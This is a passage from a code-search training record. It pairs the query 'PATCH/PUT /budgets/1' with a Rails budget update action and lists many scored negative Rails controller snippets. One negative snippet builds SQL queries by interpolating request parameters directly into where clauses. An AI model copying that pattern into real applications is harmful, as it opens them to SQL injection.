:visit_type, :min_visit, :max_visit, :core_fee, :category)\n end" ]
[ "0.7553818", "0.754795", "0.74010944", "0.73762596", "0.7287223", "0.7262481", "0.7262257", "0.68913096", "0.67946094", "0.67769855", "0.6749393", "0.67413753", "0.66027814", "0.65826136", "0.655764", "0.6494124", "0.64795405", "0.6478955", "0.64398104", "0.64251715", "0.64251715", "0.64251715", "0.64251715", "0.6405009", "0.6353193", "0.63479877", "0.6270638", "0.6236141", "0.6215485", "0.6176887", "0.61244124", "0.61240023", "0.6115593", "0.6060853", "0.5998943", "0.5997277", "0.59758574", "0.59362656", "0.59288573", "0.592517", "0.5902054", "0.5863892", "0.5852284", "0.58192915", "0.5816552", "0.58093077", "0.58051556", "0.5797487", "0.579718", "0.57665205", "0.57473737", "0.57442456", "0.57046264", "0.5701707", "0.56927204", "0.5690613", "0.56892985", "0.56892985", "0.5684207", "0.56668615", "0.5660048", "0.56428444", "0.5621765", "0.5612314", "0.55645114", "0.5560259", "0.5546218", "0.55376506", "0.5531544", "0.5531089", "0.5529671", "0.55230886", "0.55084217", "0.5504402", "0.5485768", "0.5482235", "0.5480565", "0.54795027", "0.5479444", "0.5479444", "0.5474812", "0.541952", "0.54148716", "0.5407206", "0.5405692", "0.539931", "0.53945535", "0.53940725", "0.53940725", "0.53940725", "0.53916585", "0.5391075", "0.5383531", "0.5382302", "0.5376932", "0.53764373", "0.5375838", "0.5349925", "0.5347992", "0.53313684" ]
0.61965144
29
PATCH/PUT /budgets/1 PATCH/PUT /budgets/1.json
def update @budget = Budget.find(params[:id]) @budget1 = @budget respond_to do |format| if @budget.update(budget_params) BudgetMailer.budget_email(@budget1).deliver_now format.html { redirect_to reservation_requests_path, notice: 'Presupuesto modificado exitosamente.' } else @my_reservation_requests = ReservationRequest.find(budget_params[:reservation_request_id]) @my_budget = Budget.find(params[:id]) @services_details=@my_budget.budget_service_details @budget.budget_service_details.build @budget.budget_room_details.build format.html { render :edit } format.json { render json: @budget.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n # format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'El presupuesto se actualizó correctamente' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n budget = Budget.find params[:budget_id]\n budget.status = false\n budget.save\n redirect_to budgets_path\n end", "def update\n respond_to do |format|\n if @budget_approver.update(budget_approver_params)\n format.html { redirect_to @budget_approver, notice: 'Budget approver page was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_approver }\n else\n format.html { render :edit }\n format.json { render json: @budget_approver.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budgetitem.update(budgetitem_params)\n format.html { redirect_to @budgetitem, notice: 'Budgetitem was successfully updated.' }\n format.json { render :show, status: :ok, location: @budgetitem }\n else\n format.html { render :edit }\n format.json { render json: @budgetitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n respond_to do |format|\n if @budget.save\n \n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: @budget.id)\n end\n end\n \n format.html { redirect_to budgets_path, notice: \"Budget was successfully created.\" }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n\n end", "def update\n respond_to do |format|\n if @budget_for_order.update(budget_for_order_params)\n format.html { redirect_to @budget_for_order, notice: 'Budget for order was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_for_order }\n else\n format.html { render :edit }\n format.json { render json: @budget_for_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def update\n respond_to do |format|\n if @therapy_budget.update(therapy_budget_params)\n format.html { redirect_to @therapy_budget, notice: 'Therapy budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @therapy_budget }\n else\n format.html { render :edit }\n format.json { render json: @therapy_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget_item = BudgetItem.find(params[:id])\n\n respond_to do |format|\n if @budget_item.update_attributes(params[:budget_item])\n format.html { redirect_to(@budget_item, :notice => 'Budget item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @budget_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @export_budget.update(export_budget_params)\n format.html { redirect_to @export_budget, notice: 'Export budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @export_budget }\n else\n format.html { render :edit }\n format.json { render json: @export_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @export_budget.update(export_budget_params)\n format.html { redirect_to @export_budget, notice: 'Export budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @export_budget }\n else\n format.html { render :edit }\n format.json { render json: @export_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget_file.update(budget_file_params)\n #if @revenue.update(revenue_params.merge({:tree_info => tree_info, :rows => rows}))\n # @budget_file.taxonomy.explanation = explanation\n # @budget_file.taxonomy.save\n\n format.html { redirect_to @budget_file, notice: t('budget_files_controller.save') }\n format.json { render :show, status: :ok, location: @budget_file }\n else\n format.html { render :edit }\n format.json { render json: @budget_file.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update\n @budget_src = BudgetSrc.find(params[:id])\n\n respond_to do |format|\n if @budget_src.update_attributes(params[:budget_src])\n format.html { redirect_to(@budget_src, :notice => 'Budget src was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @budget_src.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget_request.update(budget_request_params)\n budget_request = BudgetRequest.find_by(id: @budget_request.id)\n budget_request.update_attribute(:state, BudgetRequest.state.finished)\n format.html {redirect_to edit_budget_request_path, notice: 'Pedido de Cotización actualizada.'}\n format.json {render :show, status: :ok, location: @order}\n else\n format.html { render :edit }\n format.json { render json: @budget_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @ptbudget = Ptbudget.find(params[:id])\n\n respond_to do |format|\n if @ptbudget.update_attributes(params[:ptbudget])\n flash[:notice] = 'Ptbudget was successfully updated.'\n format.html { redirect_to(@ptbudget) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ptbudget.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_budget_using_put_with_http_info(budget, budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.update_budget_using_put ...'\n end\n # verify the required parameter 'budget' is set\n if @api_client.config.client_side_validation && budget.nil?\n fail ArgumentError, \"Missing the required parameter 'budget' when calling BudgetApi.update_budget_using_put\"\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetApi.update_budget_using_put\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(budget)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Budget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#update_budget_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n @item = BudgetItem.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:budget_item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @budgetcategory = Budgetcategory.find(params[:id])\n\n respond_to do |format|\n if @budgetcategory.update_attributes(params[:budgetcategory])\n format.html { redirect_to @budgetcategory, notice: 'Budgetcategory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budgetcategory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget_line.update(budget_line_params)\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_line }\n else\n format.html { render :edit }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @breadcrumb = 'update'\n @budget_heading = BudgetHeading.find(params[:id])\n @budget_heading.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @budget_heading.update_attributes(params[:budget_heading])\n format.html { redirect_to @budget_heading,\n notice: (crud_notice('updated', @budget_heading) + \"#{undo_link(@budget_heading)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget_heading.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @ptbudget = Ptbudget.find(params[:id])\n\n respond_to do |format|\n if @ptbudget.update_attributes(params[:ptbudget])\n flash[:notice] = t('ptbudget.title')+\" \"+t('updated')\n format.html { redirect_to(@ptbudget) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ptbudget.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_budget_request\n @budget_request = BudgetRequest.find(params[:id])\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n respond_to do |format|\n if @budget_product.update(budget_product_params)\n format.html { redirect_to @budget_product, notice: 'Budget product was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_product }\n else\n format.html { render :edit }\n format.json { render json: @budget_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end", "def set_budget_approver\n @budget_approver = BudgetApprover.find(params[:id])\n end", "def update\n respond_to do |format|\n if @brave_burst.update(brave_burst_params)\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to budgets_path }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget_for_order\n @budget_for_order = BudgetForOrder.find(params[:id])\n @budgets=Budget.where([\"budget_for_order_id = ?\", \"#{params[:id]}\"])\n end", "def update\n respond_to do |format|\n if @bounty.update(bounty_params)\n format.html { redirect_to @bounty, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @billable.update(billable_params)\n format.html { redirect_to @billable, notice: 'Billable was successfully updated.' }\n format.json { render :show, status: :ok, location: @billable }\n else\n format.html { render :edit }\n format.json { render json: @billable.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:client_id, :contract_id, :date, :description, :state, :total_amount, :name,\n budget_details_attributes: [:id, :rubro_id, :cost, :measurement_unit, :price, :quantity, :subtotal, :utility, :_destroy])\n end", "def update\n @bundlesticker = Bundlesticker.find(params[:id])\n\n respond_to do |format|\n if @bundlesticker.update_attributes(params[:bundlesticker])\n format.html { redirect_to @bundlesticker, notice: 'Bundlesticker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundlesticker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end", "def update\n set_proposed_item\n\n respond_to do |format|\n if @proposed_item.update(proposed_item_params)\n format.html { redirect_to @budget, notice: 'Proposed item was successfully updated.' }\n format.json { render :show, status: :ok, location: @proposed_item }\n else\n format.html { render :edit }\n format.json { render json: @proposed_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bond.update(bond_params)\n format.html { redirect_to bonds_path, notice: I18n.t('messages.updated_with', item: @bond.company) }\n format.json { render :show, status: :ok, location: @bond }\n else\n format.html { render :edit }\n format.json { render json: @bond.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @bid = @swarm_request.bids.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to(swarm_request_bid_url(:id => @bid.to_param, :swarm_request_id => @swarm_request.to_param), :notice => 'Bid was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bid.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @funding_requirement.update(funding_requirement_params)\n format.html { redirect_to @funding_requirement, notice: 'Funding requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @funding_requirement.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bundle = Bundle.find(params[:id])\n\n respond_to do |format|\n if @bundle.update_attributes(params[:bundle])\n format.html { redirect_to @bundle, notice: 'Bundle was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, budget: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n # Update all energy goals related to this bill\n updateEnergyGoals(@bill)\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end", "def update\n @monthly_overhead_breakdown_item = MonthlyOverheadBreakdownItem.find(params[:id])\n\n respond_to do |format|\n if @monthly_overhead_breakdown_item.update_attributes(params[:monthly_overhead_breakdown_item])\n format.html { redirect_to @monthly_overhead_breakdown_item, notice: 'Monthly overhead breakdown item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monthly_overhead_breakdown_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @disruption_budget = args[:disruption_budget] if args.key?(:disruption_budget)\n @min_wait_duration = args[:min_wait_duration] if args.key?(:min_wait_duration)\n end", "def update\n #@bundles_items_design = BundlesItemsDesign.find(params[:id])\n #\n #respond_to do |format|\n # if @bundles_items_design.update_attributes(params[:bundles_items_design])\n # format.html { redirect_to @bundles_items_design, notice: 'Bundles items design was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @bundles_items_design.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @breakdown = Breakdown.find(params[:id])\n\n respond_to do |format|\n if @breakdown.update_attributes(params[:breakdown])\n format.html { redirect_to @breakdown, notice: 'Breakdown was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budgetitem\n @budgetitem = Budgetitem.find(params[:id])\n end", "def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end", "def update\n respond_to do |format|\n if @budget_disposition.update(budget_disposition_params)\n format.html { redirect_to @budget_disposition, notice: 'Budget disposition was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_disposition }\n else\n format.html { render :edit }\n format.json { render json: @budget_disposition.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def update\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n if @kb.update_attributes(params[:kb])\n format.html { redirect_to @kb, :notice => 'Kb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @tenant_fee.update(tenant_fee_params)\n format.html { redirect_to @tenant_fee, notice: 'Tenant fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tenant_fee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n if @bet.update_attributes(params[:bet])\n format.html { redirect_to @bet, notice: 'Bet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @breakdown = Breakdown.find(params[:id])\n\n respond_to do |format|\n if @breakdown.update_attributes(params.require(:breakdown).permit(:bdate, :description, :vehicle_id))\n format.html { redirect_to breakdowns_url,\n notice: 'Breakdown was successfully updated.' }\n format.json { head :no_content }\n else\n prepFormVariables\n format.html { render action: \"edit\" }\n format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end", "def patch!\n request! :patch\n end", "def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end", "def update\n respond_to do |format|\n if @ticketbill.update(ticketbill_params)\n format.html { redirect_to @ticketbill, notice: 'Ticketbill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ticketbill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bussiness.update(bussiness_params)\n format.html { redirect_to current_user, notice: 'Business was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bussiness.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n get_projects\n\n @breadcrumb = 'update'\n @billable_item = BillableItem.find(params[:id])\n @billable_item.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @billable_item.update_attributes(params[:billable_item])\n format.html { redirect_to @billable_item,\n notice: (crud_notice('updated', @billable_item) + \"#{undo_link(@billable_item)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @billable_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @req_breakdown = ReqBreakdown.find(params[:id])\n\n respond_to do |format|\n if @req_breakdown.update_attributes(params[:req_breakdown])\n flash[:notice] = 'ReqBreakdown was successfully updated.'\n format.html { redirect_to(admin_req_breakdown_url(@req_breakdown)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @req_breakdown.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill_summary.update(bill_summary_params)\n format.html { redirect_to @bill_summary, notice: 'Bill summary was successfully updated.' }\n format.json { render :show, status: :ok, location: @bill_summary }\n else\n format.html { render :edit }\n format.json { render json: @bill_summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def update_budget_rule_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetRulesApi.update_budget_rule ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling BudgetRulesApi.update_budget_rule\"\n end\n # resource path\n local_var_path = '/budget_rules/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'budget_rule'])\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetRule')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetRulesApi#update_budget_rule\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n if @bid.update(bid_params)\n head :no_content\n else\n render json: @bid.errors, status: :unprocessable_entity\n end\n end", "def update\n @sugar_bag = SugarBag.find(params[:id])\n\n respond_to do |format|\n if @sugar_bag.update_attributes(params[:sugar_bag])\n format.html { redirect_to @sugar_bag, notice: 'Sugar bag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sugar_bag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to needs_path, notice: 'Need was successfully updated.' }\n format.json { head :no_content }\n else\n @cabins = Cabin.all\n format.html { render action: 'edit' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vacancy.update(vacancy_params)\n update_skills\n format.html { redirect_to @vacancy, notice: 'Vacancy was successfully updated.' }\n format.json { render :show, status: :ok, location: @vacancy }\n else\n format.html { render :edit }\n format.json { render json: @vacancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:period])\n format.html { redirect_to @bill, notice: t('activerecord.attributes.bill.successfully') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @blueprint = Blueprint.find(params[:id])\n\n respond_to do |format|\n if @blueprint.update_attributes(params[:blueprint])\n format.html { redirect_to(blueprint_path(@blueprint), :notice => 'Blueprint was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @blueprint.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find_by(uid:params[:id]).extend(Billit::BillRepresenter)\n @bill.from_json(request.body.read)\n @bill.save\n begin\n 